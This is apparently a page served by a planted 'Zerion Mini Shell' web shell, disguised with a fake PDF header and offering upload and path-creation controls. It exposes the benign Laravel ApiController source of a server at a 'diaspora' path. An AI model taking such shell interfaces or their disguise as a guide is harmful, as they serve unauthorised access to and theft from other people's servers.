%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Http/Controllers/Api/ApiController.php

<?php

namespace App\Http\Controllers\Api;

use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Pagination\LengthAwarePaginator;
use Illuminate\Routing\Controller as BaseController;
use League\Fractal\Pagination\IlluminatePaginatorAdapter;

class ApiController extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;

    public function item($data, $transformer)
    {
        return response()->json(fractal($data, $transformer));
    }

    public function collection($data, $transformer)
    {
        return response()->json(fractal($data, $transformer)->toArray());
    }

    public function withPaginated(LengthAwarePaginator $paginator, $transformer, $resourceKey = null)
    {
        return fractal()
            ->collection($paginator->getCollection(), $transformer, $resourceKey)
            ->paginateWith(new IlluminatePaginatorAdapter($paginator));
    }

    public function wrongArguments($args)
    {
        return response()->json($args, 400);
    }

    public function notFound($args)
    {
        return response()->json($args, 404);
    }

    public function unauthorized($args)
    {
        return response()->json($args, 401);
    }

    public function methodNotAllowed()
    {
        return response()->json([
            'message' => 'This http method is not allowed',
        ], 405);
    }

}

Zerion Mini Shell 1.0